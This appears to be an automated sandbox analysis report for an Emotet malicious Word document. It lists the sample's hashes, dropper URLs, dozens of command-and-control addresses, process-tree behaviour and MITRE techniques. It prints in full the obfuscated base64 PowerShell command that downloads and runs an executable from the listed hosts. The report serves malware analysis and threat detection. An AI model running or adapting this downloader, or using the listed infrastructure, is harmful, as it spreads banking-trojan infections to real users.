emotet | 3f8ba9bfe82d70c8f03ab608d27507abdfc951b68c29249df9bb159ffb20a3f3

General

Target
emotet_e3_3f8ba9bfe82d70c8f03ab608d27507abdfc951b68c29249df9bb159ffb20a3f3_2020-08-26__130434._doc.doc
Size 221KB
Sample200826-e53xlyhb36
SHA256 3f8ba9bfe82d70c8f03ab608d27507abdfc951b68c29249df9bb159ffb20a3f3
MD5 cb7a7c414988c1e2b3fa048db36b5d62
SHA1 ef710b1275ba7846cc0d2ac5aba49b85aa8058f7
SHA512 4d0ab63e026a0c82007494a4760b8b83052c4bbe907cbc7663fcc859da6e73aa0481022c33121840c50e4e838a88cba3f1c4019dbcda9b087152de3ad1cc2627
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://inmed.vn/wp-content/BTAvhtA/
exe.dropper
http://softpark.com.br/administrator/xwFvil6rzzki0254/
exe.dropper
http://blueprint.sd/c8elx3o/xvMBZZbAIAoq/
exe.dropper
https://uptechnology.com.br/redepay/img/dDiOE/
exe.dropper
http://matadebenfica.com/permanente/IoEsXoKNsRRQ/
exe.dropper
http://tjstore.ir/wp-admin/lcVWrhdoywvf8x8712/
exe.dropper
http://garden-center.ro/wp-content/ddYzXcaL/

Extracted

Family

emotet

C2

88.249.181.198:443
65.156.53.186:8080
68.183.233.80:8080
185.81.158.15:8080
37.187.100.220:7080
60.125.114.64:443
201.235.10.215:80
81.214.253.80:443
118.101.24.148:80
181.126.54.234:80
197.232.36.108:80
178.87.171.199:80
139.99.157.213:8080
115.79.195.246:80
177.94.227.143:80
113.161.148.81:80
192.210.217.94:8080
173.94.215.84:80
112.78.142.170:80
217.199.160.224:8080
181.137.229.1:80
190.53.144.120:80
85.25.207.108:8080
168.0.97.6:80
185.86.148.68:443
91.83.93.103:443
75.127.14.170:8080
37.46.129.215:8080
81.17.93.134:80
71.57.180.213:80
115.78.11.155:80
95.216.205.155:8080
179.5.118.12:80
113.203.250.121:443
185.208.226.142:8080
1.54.67.22:80
51.38.201.19:7080
77.74.78.80:443
202.5.47.71:80
157.245.138.101:7080
175.29.183.2:80
74.208.173.91:8080
78.189.60.109:443
178.33.167.120:8080
220.254.198.228:443
192.163.221.191:8080
203.153.216.178:7080
162.249.220.190:80
82.239.200.118:80
105.209.235.113:8080
190.55.186.229:80
190.164.75.175:80
197.221.158.162:80
86.57.216.23:80
177.32.8.85:80
190.212.140.6:80
46.32.229.152:8080
172.105.78.244:8080
45.182.161.17:80
87.106.231.60:8080
51.255.15.193:7080
172.96.190.154:8080
185.142.236.163:443
103.80.51.61:8080
157.7.164.178:8081
188.0.135.237:80
46.105.131.68:8080
50.116.78.109:8080
5.79.70.250:8080
179.62.238.49:80
177.144.130.105:443
192.241.220.183:8080
190.190.15.20:80
41.185.29.128:8080
201.213.177.139:80
189.39.32.161:80
195.201.56.70:8080
2.144.244.204:443
66.61.94.36:80
198.57.203.63:8080
86.98.143.163:80
188.251.213.180:443
181.113.229.139:443
143.95.101.72:8080
139.59.12.63:8080
107.161.30.122:8080
31.146.61.34:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2596	3788	powersheLL.exe	68

Blacklisted process makes network request 1 IoCs

flow	pid	Process
9	2596	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
632	Uamrrgt.exe
1100	asycfilt.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\slc\asycfilt.exe	Uamrrgt.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3104	WINWORD.EXE
3104	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2596	powersheLL.exe
2596	powersheLL.exe
2596	powersheLL.exe
1100	asycfilt.exe
1100	asycfilt.exe
1100	asycfilt.exe
1100	asycfilt.exe
1100	asycfilt.exe
1100	asycfilt.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2596	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
632	Uamrrgt.exe
632	Uamrrgt.exe
1100	asycfilt.exe
1100	asycfilt.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2596 wrote to memory of 632	2596	powersheLL.exe	75
PID 2596 wrote to memory of 632	2596	powersheLL.exe	75
PID 2596 wrote to memory of 632	2596	powersheLL.exe	75
PID 632 wrote to memory of 1100	632	Uamrrgt.exe	76
PID 632 wrote to memory of 1100	632	Uamrrgt.exe	76
PID 632 wrote to memory of 1100	632	Uamrrgt.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_3f8ba9bfe82d70c8f03ab608d27507abdfc951b68c29249df9bb159ffb20a3f3_2020-08-26__130434._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3104

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABYAG8AdgBmAHYAMgBuAD0AKAAnAEEAMwAnACsAKAAnAGcAZwAzACcAKwAnADgAdQAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAVABlAG0AUABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAEUAYwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAHIAYABpAGAAVAB5AHAAYABSAG8AdABPAGMAYABvAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIAJwArACcALAAnACkAKwAnACAAdAAnACsAKAAnAGwAcwAxACcAKwAnADEALAAgAHQAJwApACsAJwBsAHMAJwApADsAJABGADQAcABfAHoAeQBhACAAPQAgACgAKAAnAFUAYQAnACsAJwBtAHIAcgAnACkAKwAnAGcAdAAnACkAOwAkAEIAcgA3AG4ANQBjAHIAPQAoACgAJwBRACcAKwAnAGQAawAnACkAKwAoACcAcAAnACsAJwBpAHEAZgAnACkAKQA7ACQASwBrADUAZQByAHcAdwA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwBjACcAKwAnAEoAZAB3AG8AJwArACcAcgBkAGMAJwArACcASgAnACkAKwAnAGQAJwArACgAJwAyADAAMQAnACsAJwA5AGMAJwApACsAJwBKACcAKwAnAGQAJwApAC4AIgBSAEUAYABQAGAATABhAEMAZQAiACgAKABbAEMAaABhAFIAXQA5ADkAKwBbAEMAaABhAFIAXQA3ADQAKwBbAEMAaABhAFIAXQAxADAAMAApACwAJwBcACcAKQApACsAJABGADQAcABfAHoAeQBhACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQAWAA5AGQAegBwAHAANAA9ACgAKAAnAEcAYwBoACcAKwAnAHoAbQAnACkAKwAnAHUANAAnACkAOwAkAEQAbwAzADEAMgBsAGwAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBlAGIAYwBsAGkARQBOAHQAOwAkAEkAeQBiAGMAZwBpAGIAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAKAAnAC8AJwArACcALwBpAG4AbQAnACkAKwAnAGUAJwArACcAZAAnACsAJwAuAHYAJwArACgAJwBuAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGMAbwBuAHQAZQAnACsAJwBuAHQAJwApACsAKAAnAC8AJwArACcAQgBUACcAKQArACcAQQAnACsAJwB2AGgAJwArACcAdAAnACsAKAAnAEEAJwArACcALwAqAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAcwAnACsAJwBvACcAKwAoACcAZgAnACsAJwB0AHAAJwArACcAYQByAGsALgBjACcAKQArACgAJwBvAG0ALgBiAHIAJwArACcALwBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACkAKwAoACcAbgBpAHMAdAAnACsAJwByACcAKQArACgAJwBhACcAKwAnAHQAbwByACcAKQArACgAJwAvAHgAdwBGAHYAaQBsACcAKwAnADYAJwArACcAcgB6AHoAawAnACkAKwAnAGkAJwArACcAMAAyACcAKwAnADUAJwArACcANAAnACsAJwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACgAJwBwADoALwAvAGIAJwArACcAbAAnACsAJwB1AGUAcAByACcAKQArACcAaQBuACcAKwAoACcAdAAuAHMAJwArACcAZAAnACkAKwAnAC8AJwArACcAYwAnACsAJwA4AGUAJwArACcAbAAnACsAJwB4ADMAJwArACgAJwBvAC8AJwArACcAeAB2AE0AJwArACcAQgBaACcAKQArACgAJwBaAGIAJwArACcAQQBJACcAKQArACgAJwBBAG8AcQAvACoAaAB0AHQAJwArACcAcAAnACsAJwBzACcAKQArACgAJwA6AC8ALwB1AHAAdAAnACsAJwBlACcAKwAnAGMAJwApACsAKAAnAGgAbgAnACsAJwBvAGwAJwArACcAbwBnAHkAJwArACcALgBjACcAKQArACgAJwBvAG0ALgAnACsAJwBiAHIAJwApACsAKAAnAC8AJwArACcAcgBlACcAKQArACgAJwBkAGUAJwArACcAcABhACcAKQArACcAeQAnACsAKAAnAC8AaQBtAGcAJwArACcALwAnACkAKwAoACcAZAAnACsAJwBEAGkATwBFAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAvAC8AbQBhAHQAYQAnACsAJwBkAGUAJwArACcAYgAnACsAJwBlAG4AZgBpACcAKwAnAGMAYQAnACsAJwAuACcAKQArACcAYwBvACcAKwAnAG0ALwAnACsAKAAnAHAAZQByACcAKwAnAG0AYQBuACcAKwAnAGUAbgB0ACcAKQArACcAZQAnACsAKAAnAC8ASQBvACcAKwAnAEUAJwArACcAcwBYAG8AJwArACcASwBOAHMAJwArACcAUgBSAFEAJwApACsAKAAnAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoAJwApACsAKAAnAC8ALwB0ACcAKwAnAGoAJwApACsAKAAnAHMAdABvACcAKwAnAHIAJwApACsAKAAnAGUALgBpAHIALwB3ACcAKwAnAHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AaQBuACcAKwAnAC8AbABjAFYAVwAnACsAJwByAGgAJwApACsAKAAnAGQAbwAnACsAJwB5AHcAdgAnACsAJwBmADgAeAAnACsAJwA4ADcAMQAyAC8AJwApACsAKAAnACoAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AJwArACcAZwBhAHIAZAAnACsAJwBlAG4ALQAnACkAKwAnAGMAZQAnACsAKAAnAG4AdABlAHIAJwArACcALgAnACsAJwByACcAKwAnAG8ALwB3AHAAJwApACsAKAAnAC0AYwBvACcAKwAnAG4AdAAnACkAKwAoACcAZQBuACcAKwAnAHQALwBkAGQAJwApACsAKAAnAFkAJwArACcAegBYAGMAYQBMAC8AJwApACkALgAiAFMAcABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVwA2AGQAZQA2AF8AZAA9ACgAJwBIAGUAJwArACcAdQB5ACcAKwAoACcAdwAnACsAJwBlAGUAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABTAHkAbgBnADUANAB3ACAAaQBuACAAJABJAHkAYgBjAGcAaQBiACkAewB0AHIAeQB7ACQARABvADMAMQAyAGwAbAAuACIARABPAHcATgBsAGAAbwBhAGAAZABmAEkAbABFACIAKAAkAFMAeQBuAGcANQA0AHcALAAgACQASwBrADUAZQByAHcAdwApADsAJABXAHkAdQB0AGMANQBsAD0AKAAnAFIAJwArACcAdgAnACsAKAAnAGQAMgA3ADMAJwArACcAMQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABLAGsANQBlAHIAdwB3ACkALgAiAGwAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMgAxADYAOQA0ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AJwArACcAawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEsAawA1AGUAcgB3AHcAKQA7ACQATwB1AG4AbQBiADQAOQA9ACgAJwBFACcAKwAoACcAbwBrACcAKwAnADcAZgB6ACcAKwAnAGYAJwApACkAOwBiAHIAZQBhAGsAOwAkAFcANQB5AGEAagB4AGMAPQAoACgAJwBNACcAKwAnAHAAawAnACkAKwAoACcAOAAnACsAJwBuAGMAdAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABtAGIAdQAyAF8ANQA9ACgAJwBRAHkAJwArACgAJwA5AHAAJwArACcAYQAyACcAKQArACcAdAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596
- C:\Users\Admin\AppData\Local\Temp\word\2019\Uamrrgt.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\Uamrrgt.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:632
- - C:\Windows\SysWOW64\slc\asycfilt.exe
    "C:\Windows\SysWOW64\slc\asycfilt.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1100

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/632-15-0x00000000022D0000-0x00000000022DC000-memory.dmp

Download

memory/1100-18-0x0000000002100000-0x000000000210C000-memory.dmp

Download

memory/2596-9-0x00007FFA178C0000-0x00007FFA182AC000-memory.dmp

Download

memory/2596-10-0x0000011F98470000-0x0000011F98471000-memory.dmp

Download

memory/2596-11-0x0000011F98620000-0x0000011F98621000-memory.dmp

Download

memory/3104-0-0x00007FFA1F970000-0x00007FFA20036000-memory.dmp

Download

memory/3104-8-0x0000017A52933000-0x0000017A52946000-memory.dmp

Download

memory/3104-7-0x0000017A52933000-0x0000017A52946000-memory.dmp

Download

memory/3104-6-0x0000017A5056B000-0x0000017A50570000-memory.dmp

Download

memory/3104-5-0x0000017A52818000-0x0000017A52829000-memory.dmp

Download

memory/3104-3-0x0000017A52818000-0x0000017A52829000-memory.dmp

Download

memory/3104-4-0x0000017A52818000-0x0000017A52829000-memory.dmp

Download

memory/3104-1-0x0000017A522A0000-0x0000017A522A4000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads